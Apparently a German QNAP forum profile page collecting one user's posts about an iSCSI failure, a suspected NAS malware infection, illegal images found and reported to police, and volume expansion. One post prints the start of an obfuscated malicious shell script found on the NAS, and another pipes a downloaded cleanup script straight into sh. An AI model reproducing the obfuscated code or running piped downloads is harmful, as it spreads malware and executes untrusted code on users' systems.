Beiträge von SM52

    Mod: Zitat ohne Quellenangabe ... korrigiert! :handbuch::arrow: Forenregeln beachten und Die Zitat Funktion des Forums richtig nutzen

    Hat sich evtl. die iqn des Clients geändert?

    Leider kenne ich diese nicht mehr. Hab hier alle erlaubt, wenn ich jetzt wieder eine zulassen möchte, zeigt er diese nicht an.

    Screenshot 2021-11-24 102528.png

    Mod: Zitat ohne Quellenangabe ... korrigiert! :handbuch::arrow: Forenregeln beachten und Die Zitat Funktion des Forums richtig nutzen

    Sonstige Änderungen?

    Zumindest habe ich aktiv nichts gemacht. Glaube aber, der Client war abgestürzt. War mit Putty nicht drauf gekommen.


    Mod: Zitat ohne Quellenangabe ... korrigiert! :handbuch::arrow: Forenregeln beachten und Die Zitat Funktion des Forums richtig nutzen

    Wie sind die Einstellungen auf NAS Seite, gibt es eine iSCSI ACL?

    Das sieht so aus:

    Screenshot 2021-11-24 102818.png

    Hallo,


    ich habe seit geraumer Zeit ein Ubuntusystem per iscsi mit meinen Qnap verbunden.

    Aus irgendeinem Grund verbindet er sich nicht mehr. Bisher lief es schon über 2 Jahre stabil.


    Leider kenne ich mich mit Linux so gar nicht aus (wurde uns damals von einem Dienstleister einer Software die es benötigt konfiguriert).


    Wenn ich nach einem iscsi-Ziel suche kommt:

    Code
    cloudplan@cloudplan-nuc:~$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.21.113:3260
    iscsiadm: cannot make connection to 192.168.21.113: Connection refused
    iscsiadm: cannot make connection to 192.168.21.113: Connection refused
    iscsiadm: cannot make connection to 192.168.21.113: Connection refused
    iscsiadm: cannot make connection to 192.168.21.113: Connection refused
    iscsiadm: cannot make connection to 192.168.21.113: Connection refused
    iscsiadm: cannot make connection to 192.168.21.113: Connection refused
    iscsiadm: connection login retries (reopen_max) 5 exceeded
    iscsiadm: Could not perform SendTargets discovery: encountered connection failure


    Mehr fällt mir leider zum probieren nicht ein .......


    Der damalige Dienstleister hat das Ziel sich nach seiner Anleitung eingerichtet.

    Mod: Nicht deklariertes Zitat ohne Quellenangabe ... korrigiert! :handbuch::arrow: Forenregeln beachten und Die Zitat Funktion des Forums richtig nutzen

    CHAP wird nicht verwendet.

    Zum testen habe ich im Moment noch bei den Verbindungen alle Initiatoren zugelassen.


    Was kann ich noch testen?

    Zugriff über Qfile und teilen von Links.



    Ansonsten ist mein Netz denke sauber. Hab alle Rechner mehrfach gescannt und Handys resetet,da die Virenscanner dort ja nicht wirklich was bringen.


    Werde jedenfalls über das weitere Vorgehen mit der Polizei informieren, falls jemand mal was ähnliches hat.

    Naja, hab es ja offiziell Aktenkundig gemacht.


    Hab jetzt auch nicht 500 Euro Rumliegen um neue Platten zu holen.

    Werde die Platten, wenn die Polizei die Daten gesichtet hat und ich wieder mit dem NAS arbeiten darf Formatieren und mir alles nach und nach mit Sichtung aus der Dasi auf mein NAS holen.


    Glaube nicht, dass da noch was ist. Da hat sich jemand, sehr genau Gedanken gemacht wo er die Daten hinschiebt.

    Unter "Multimedia/Bilder/Unsere Kinder" gab es den neuen Ordner. Der Ordername hat sich sogar sehr gut in meinen Syntax eingefügt.

    Wurde gebeten, die Daten noch im Netzwerkpapierkorb zu behalten. Hatte das sofort gelöscht.


    Wurde gestern an die entsprechende Abteilung weitergegeben. Die melden sich nochmal bei mir.


    Hab das erst einfach gelöscht, gestern dachte ich, dass ich das besser melde. Bevor die irgendwie auf mich kommen und beschuldigen mir verbotene Inhalte zu besorgen.

    Okay,


    Backup mache ich aber. Läuft im Moment per rrpr. Seit dem letzten Backup hat sich nicht so viel getan.

    Hab so gut es geht alle Daten gesichtet und kontrolliert.

    Habe einen Ordner gefunden, der nicht von mir ist. Hab da schon Anzeige gegen Unbekannt gestellt, da der Inhalt (Bilder) nicht legal war.


    NAS ist seit dem Virenverdacht von der cloud geztennt, Passwörter geändert und upnp am nas deaktiviert. Zusätzlich noch an der fritzbox der Internetzugang gesperrt ( außer temporär ausversehen ob ich Apps updaten kann).

    Wenn ich das NAS platt mache, laufe ich Gefahr über das Backup "Systemeinstellungen sichern" mir den Virus wieder zu fangen?


    Kann ich qmailagend ordentlich sichern?

    Der fängt schon sehr lange meine Mails zum sichern ab.


    Mal sehen, wo ich genug Speicher fürs Backup aufgetrieben bekomme.......


    Oder klappt es, daß nas ohne hdds zu booten? Evtl kann man es dann resetten und den Pool wieder einhängen?

    Könnte eben nicht mehr schreiben.

    Zeichenlimit.....


    Die Autorin ist sehr lang und kryptisch. Hier der Anfang:


    Bash
    #!/bin/sh 
    
    
    $AtecHcTovPwE$""t${iTiK}ype;t$'\x65'st${vFYiblbqWenenqb}${bMCOmH}${nfWvizJtLbULFQj};buil${XdwELjMFv}tin;$'\x74'${kOrRV}rue;${hGjcaqEk}tru${iiKRdCrLhTvm}e${AILHCX};f${QqCITwx}${zdDyx}a${sWbytd}lse;${pwiSn}fa${enKnzSEGfmokLh}lse;${USUHNZn}command${qFJQEfiKg};e${tjXfLtvY}v${IzKhp}${rnasdkfcGzC}al;${VPwTQwz}type${rciUNRiutbWfe};e${BQxyFSO}val;buil${GzivA}tin;ev${TiEuipv}${wDNDB}al;${elSPtyzOGPDVVWc}ev${CmXFzUKjCWZECCs}al;bu${nAgxTJFWgzzfhls}ilti${RIAlqxTnRQy}n;CjlyXS=t${pLTkcd}r${ZFqllqGJxy}

    netstat -tulpen


    Morgens geht's weiter. Muss mal in die Kiste, der Wecker geht früh...

    PS

    Wie teste ich den DNS?

    QNAP Cloud mit Portforwards ? .. Dann ist zumindest eine Infektion nicht abwegig.


    Wie gesagt mal Prozesse checken, ob die CPU damit beschäftigt ist alle Dateien gegen Lösegeld zu verschlüsseln.

    Ja, die waren aktiviert.........

    Der Ressourcenmonitor will nicht starten. Die Anzeige der CPU im Dashboard bewegt sich immer im unteren einstelligen Prozentbereich.


    Kommt das NAS ins Netz?

    Kannst Du generell keine Apps installieren oder nur spezifische nicht?

    Zumindest bekomme ich über ssh Google angepingt.


    Bekomme keine App installiert.

    Ich habe ein TS469L.

    Die Firmware ist 4.3.4.1652.

    Hab ich vor ca 2 Wochen upgedatet.

    Davor hab ich (zu meiner Schande) recht lange keine Updates eingespielt.


    Das NAS hing hinter meiner FritzBox mit eingerichteter qnap cloud.


    Den MalewareRemover bekomme ich nicht installiert.

    Genau wie andere App Updates.


    Laufen tut ansonsten alles.

    Hallo an alle,


    nach langer langer Zeit melde ich mich nochmal.


    Glaube mein NAS hat sich was eingefangen.

    Ich kann keine Apps mehr installieren oder stoppen.

    Vom Googlen her, passt das zu einem Befall oder?


    Ich habe mit den Mitteln die ich gefunden habe, bisher keinen Erfolg.


    Habe 2 Skripte getestet. Beide laufen nicht sauber durch...


    Code
    [~] # curl https://download.qnap.com/Storage/tsd/utility/derek-be-gone.sh | sh
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed 
    
    
      0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
    100   380  100   380    0     0   4672      0 --:--:-- --:--:-- --:--:--  4871
    sh: line 1: syntax error near unexpected token `newline'
    sh: line 1: `'

    Hat noch jemand einen Tipp für mich?

    Hallo an alle.
    Ich habe ein TS-453A mit der Firmware 4.3.3.0361.


    In diesem hatte ich bis eben 4 x 2TB WD Red im Raid 5 verbaut
    Jetzt habe ich den Speicherpool nach und nach auf 4 x 4TB erweitert und den neuen Speicher zugewiesen. Das hat auch wunderbat geklappt.


    Nun möchte ich das Volume erweitern/expandieren.
    Doch leider ist der entsprechende Button aus gegraut.
    Angelegt hatte ich, wenn ich mich richtig erinnere ein Thick-Multi-Volume.


    Kann mir jemand sagen, woran das eventuell liegen kann?


    EDIT:
    P.S.:
    Sorry, im Titel hat sich ein fetter Fehler eingeschlichen .....